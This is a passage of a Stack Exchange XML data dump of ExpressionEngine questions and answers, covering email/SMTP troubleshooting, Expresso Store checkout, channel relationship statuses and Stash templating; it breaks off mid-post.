  <row Id="34970" PostTypeId="1" CreationDate="2015-12-07T21:05:41.597" Score="0" ViewCount="372" Body="&lt;p&gt;Emails are not getting sent from my EE site. It doesn't work for password reset, order confirmations from Expr-esso store, or when I use Communicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have enabled email debugging and set protocol to Mail, then tried to send an email via Communicate. I didn't see any debugging info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use Mandril and have set protocol to SMTP and set server/port/username/password. Emails still not sent -- and I don't see any evidence of an attempt in Mandrill API logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly - I can't seem to change the SMTP username and password under email configuration. When I edit those two fields along with other fields, everything else gets saved properly except username &amp;amp; password. They retain the original values. The password is not correct and needs to be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where are the details for email configuration saved?&lt;/strong&gt; I have been looking in the database and files, but not really finding anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, any suggestions on how to troubleshoot this problem?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-12-08T14:20:15.170" Title="Emails not sending - where are email configuration details saved?" Tags="|email|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34971" PostTypeId="2" ParentId="34943" CreationDate="2015-12-08T00:30:21.537" Score="0" Body="&lt;p&gt;Just to update, I found the solution to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related channel in this instance has number of statuses other than 'Open' and 'Closed'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out the tag pair will only return 'Open' entries in it's loop and all of my entries are created via Channel form with a custom Status of 'New'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can actually use some of EE's channel entry tag parameters inside the related tag pair, so the fix was to add the status parameter to the tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cli_enquiries status=&quot;My|Custom|Statuses|Here&quot;}&#xA;   {cli_enquiries:title}&#xA;{/cli_enquiries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;et viola; It works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT]&lt;/strong&gt;&#xA;Just got caught out by this &lt;em&gt;again&lt;/em&gt;.&#xA;If you use custom statuses you MUST declare what those are.&#xA;for example:&#xA;Using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;status=&quot;not Closed&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will NOT work.&#xA;It must be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;status=&quot;My|Actual|Custom|Status|Names&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2016-02-03T11:58:59.860" LastActivityDate="2016-02-03T11:58:59.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34972" PostTypeId="2" ParentId="34970" CreationDate="2015-12-08T00:42:03.657" Score="1" Body="&lt;p&gt;I can't speak for your Mandril setup, but make sure your server is set up correctly first. I'm assuming some Linux flavor. In an SSH terminal, run this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;Test email content&quot; | mail -s &quot;Test email subject&quot; -a &quot;From: fromaddress@mydomain.com&quot; &quot;destinationaddress@myemail.com&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make sure to check your spam folder as well. If you don't receive anything from that email, your server may need re-configuring. Try installing &lt;code&gt;sendmail&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pc-freak.net/blog/install-sendmail-debian-gnu-linux/&quot; rel=&quot;nofollow&quot;&gt;http://pc-freak.net/blog/install-sendmail-debian-gnu-linux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But before you even do that; make sure your IP isn't listed on spamhaus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.spamhaus.org/lookup/&quot; rel=&quot;nofollow&quot;&gt;https://www.spamhaus.org/lookup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, not sure about Mandril, but make sure your server can fire out emails first, then move forward with debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Again, no clue about Mandril. For EE, the SMTP settings are stored in a serialized PHP array in the database, which is base64 encoded. Query it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `site_system_preferences`&#xA;    FROM `my_schema`.`exp_sites`&#xA;    WHERE site_id = &quot;1&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... assuming your &lt;code&gt;site_id&lt;/code&gt; is 1. Take that value, and use an online base64 decoder to get your PHP serialized array. However, there really isn't any reason why just changing those settings in &lt;code&gt;Your Site -&amp;gt; CP Home -&amp;gt; Administration -&amp;gt; Email Configuration&lt;/code&gt; would not update those values. Did you try my first debugging steps to make sure your server is firing off emails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you want all email coming from this server to go through a relay host (SMTP)? In that case, you'll need to install and configure &lt;code&gt;postfix&lt;/code&gt;. It would help if you would clarify your question a little, but hopefully this info is useful.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-12-08T14:20:15.170" LastActivityDate="2015-12-08T14:20:15.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34973" PostTypeId="1" CreationDate="2015-12-08T00:50:22.903" Score="0" ViewCount="49" Body="&lt;p&gt;I want to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$templates = ee( &quot;Model&quot; )-&amp;gt;get( &quot;Template&quot; )-&amp;gt;all();&#xA;&#xA;//Loop through them&#xA;foreach( $templates as $template ) ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try this, it hangs the page/server. Is this not possible in a template?&lt;/p&gt;&#xA;" OwnerUserId="6699" LastActivityDate="2015-12-08T00:50:22.903" Title="In EE3 can I query the Model service for template info in my template's PHP?" Tags="|templates|php|template-scripting|ee3|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34974" PostTypeId="2" ParentId="28362" CreationDate="2015-12-08T12:16:55.937" Score="0" Body="&lt;p&gt;PT fields give the option of {option_value} and {option_name}&#xA;Provided you've set up your fields with the value and name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your field set up you put (on each line)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;option_1 : Option 1&#xA;option_2 : Option 2&#xA;etc etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you then have access to those in your templates.&#xA;here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:event}&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;event[]&quot; value=&quot;{option_value}&quot; {checked}&amp;gt;&amp;lt;span&amp;gt;{option_name}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;{/options:event} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so for id you'd use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:event}&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; id=&quot;event_{option_value}&quot; name=&quot;event[]&quot; value=&quot;{option_value}&quot; {checked}&amp;gt;&amp;lt;span&amp;gt;{option_name}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;{/options:event} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For mine I used checkboxes but the format is the same for radio buttons&lt;/p&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2015-12-08T12:29:51.347" LastActivityDate="2015-12-08T12:29:51.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34975" PostTypeId="1" CreationDate="2015-12-08T15:58:26.333" Score="0" ViewCount="56" Body="&lt;p&gt;On checkout, customers go thru checkout and successfully purchase orders. The purchase is recorded and processed. But after the users hit submit on the payment step, instead of being taken to the receipt page specified in the &lt;code&gt;return&lt;/code&gt; parameter, they go to URL of the last checkout step, except this time, the page is completely blank.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine 2.7.3&lt;/li&gt;&#xA;&lt;li&gt;Express Store 2.2.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is the next checkout tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout form_class=&quot;checkout-form&quot; &#xA;    return=&quot;orders/receipt/ORDER_HASH&quot; &#xA;    payment_method=&quot;AuthorizeNet_AIM&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Troubleshooting Overview:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Turned on template debugging. No output on erroneous blank screen. Still WSOD.&lt;/li&gt;&#xA;&lt;li&gt;Increased error threshold to 4.&lt;/li&gt;&#xA;&lt;li&gt;Receipt page accessible through link in Store page of control panel.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Changed checkout tag to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;checkout-form&quot;&#xA;    return=&quot;orders/receipt/ORDER_HASH&quot;&#xA;    payment_method=&quot;AuthorizeNet_AIM&quot;&#xA;    secure=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;.htaccess rules do not seem to affect this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Used &lt;code&gt;name=&quot;commit&quot;&lt;/code&gt; instead of &lt;code&gt;name=&quot;submit&quot;&lt;/code&gt; for checkout form submission.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine 2.10.3&lt;/li&gt;&#xA;&lt;li&gt;Express Store 2.5.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A similar issue is occurring with the same symptoms on another site. Same troubleshooting steps followed to no avail.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page 1: &lt;code&gt;{exp:store:checkout form_class=&quot;form-inline&quot; next=&quot;checkout/2&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Page 2 &lt;code&gt;{exp:store:checkout require=&quot;name|address1|city|country|phone&quot; next=&quot;checkout/3&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Page 3 &lt;code&gt;{exp:store:checkout payment_method=&quot;Stripe&quot; return=&quot;checkout/receipt/ORDER_HASH&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2016-02-10T16:34:51.037" LastActivityDate="2016-02-10T16:34:51.037" Title="On checkout, customer not directed to receipt page after payment" Tags="|expresso-store|ee2|ecommerce|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34976" PostTypeId="1" AcceptedAnswerId="35029" CreationDate="2015-12-08T16:23:27.853" Score="0" ViewCount="107" Body="&lt;p&gt;I am trying to set up the dynamic price feature in Expresso Store. I have set the dynamic price setting to 'yes' for my channel field but the product form in my template does not display unless I set a price for the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-12-14T08:29:41.640" Title="Expresso Store Dynamic Price" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34977" PostTypeId="1" CreationDate="2015-12-08T22:04:21.033" Score="1" ViewCount="66" Body="&lt;p&gt;When attempting to publish entries as a super admin, I receive the &quot;You are not authorized to access this page&quot; error. It only happens on specific channels, but these channels don't all share the same field/category groups. Any suggestions/slight inklings greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2 / PHP 5.5.9&lt;/p&gt;&#xA;" OwnerUserId="6901" LastActivityDate="2015-12-08T22:04:21.033" Title="Super Admins Unable to Publish Entries" Tags="|error|permissions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34978" PostTypeId="2" ParentId="20331" CreationDate="2015-12-08T23:37:52.413" Score="0" Body="&lt;p&gt;Check this bolg, it seems that there are some solutions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mrvtech.blogspot.fr/2015/12/firefox-cant-upload-pdf-files-here-are.html&quot; rel=&quot;nofollow&quot;&gt;http://mrvtech.blogspot.fr/2015/12/firefox-cant-upload-pdf-files-here-are.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6902" LastActivityDate="2015-12-08T23:37:52.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34981" PostTypeId="1" CreationDate="2015-12-09T06:40:00.383" Score="1" ViewCount="15" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nicolas from Solspace's Support came back to me with an answer :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I could reproduce the issue and reported this as a bug to our developers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Still, a patch would be welcome.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;We're using Solspace Importer 2.2.5 with ExpressionEngine 2.10 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importer is used to cron import members data from a csv.&#xA;Everything is running smoothly, except one thing :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importer is updating existing member accounts while the drop down list in the import settings is set to &lt;em&gt;do nothing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're filtering members upon username, we use a unique customer key number ( string like 12AB34 ) as username. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened a support ticked at solspace but got no answer till then.&#xA;Any advice would help, the site is e-commerce, and we're live.&lt;/p&gt;&#xA;" OwnerUserId="3097" LastEditorUserId="3097" LastEditDate="2015-12-14T13:24:24.857" LastActivityDate="2015-12-14T13:24:24.857" Title="Solspace importer still updtates data with do nothing selected" Tags="|solspace-importer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34982" PostTypeId="1" CreationDate="2015-12-09T11:58:30.440" Score="1" ViewCount="28" Body="&lt;p&gt;So I  have a system that needs to display some data depending on whether the date of an event falls within a number of preset dates. It's working great right now but there is this one part that is just bugging me. I feel like I could achieve this much more economically but that's where my knowledge runs out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;term_dates&quot; entry_id=&quot;236&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;categories|pagination|trackbacks&quot; parse=&quot;inward&quot;}&#xA;{exp:stash:set_list name=&quot;term_dates&quot;}&#xA;        {term_dates}&#xA;            {stash:date}{term_dates:date format=&quot;%U&quot;}{/stash:date}&#xA;            {stash:term}{term_dates:term}{/stash:term}&#xA;        {/term_dates}&#xA;    {/exp:stash:set_list}       &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;0&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date01&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term01&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;1&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date02&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term02&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;2&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date03&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term03&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;3&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date04&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term04&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;4&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date05&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term05&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;5&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date06&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term06&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;6&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date07&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term07&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;7&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date08&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term08&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;8&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date09&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term09&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot;  offset=&quot;9&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date10&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term10&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;10&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date11&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term11&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;11&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date12&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term12&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;12&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date13&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term13&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;13&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date14&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term14&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;14&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date15&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term15&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;15&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date16&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term16&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;16&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date17&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term17&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;17&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date18&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term18&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;18&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date19&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term19&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;19&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date20&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term20&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;20&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date21&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term21&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;21&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date22&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term22&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;22&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date23&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term23&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;23&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date24&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term24&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;24&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date25&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term25&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;25&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date26&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term26&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;26&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date27&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term27&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;27&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date28&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term28&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;{exp:stash:get_list name=&quot;term_dates&quot; limit=&quot;1&quot; offset=&quot;28&quot; prefix=&quot;term&quot;}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;date29&quot;}{term:date}{/exp:stash:set}{exp:stash:set parse_tags=&quot;yes&quot; name=&quot;term29&quot;}{term:term}{/exp:stash:set}{/exp:stash:get_list}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;enq_view&quot;}&#xA;&#xA;{exp:stash:set trim=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;{stash:term_time}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date01}' AND '{en_date_check}' &amp;lt; '{exp:stash:date02}'}{exp:stash:term01}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date02}' AND '{en_date_check}' &amp;lt; '{exp:stash:date03}'}{exp:stash:term02}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date03}' AND '{en_date_check}' &amp;lt; '{exp:stash:date04}'}{exp:stash:term03}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date04}' AND '{en_date_check}' &amp;lt; '{exp:stash:date05}'}{exp:stash:term04}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date05}' AND '{en_date_check}' &amp;lt; '{exp:stash:date06}'}{exp:stash:term05}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date06}' AND '{en_date_check}' &amp;lt; '{exp:stash:date07}'}{exp:stash:term06}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date07}' AND '{en_date_check}' &amp;lt; '{exp:stash:date08}'}{exp:stash:term07}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date08}' AND '{en_date_check}' &amp;lt; '{exp:stash:date09}'}{exp:stash:term08}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date09}' AND '{en_date_check}' &amp;lt; '{exp:stash:date10}'}{exp:stash:term09}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date10}' AND '{en_date_check}' &amp;lt; '{exp:stash:date11}'}{exp:stash:term10}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date11}' AND '{en_date_check}' &amp;lt; '{exp:stash:date12}'}{exp:stash:term11}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date12}' AND '{en_date_check}' &amp;lt; '{exp:stash:date13}'}{exp:stash:term12}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date13}' AND '{en_date_check}' &amp;lt; '{exp:stash:date14}'}{exp:stash:term13}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date14}' AND '{en_date_check}' &amp;lt; '{exp:stash:date15}'}{exp:stash:term14}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date15}' AND '{en_date_check}' &amp;lt; 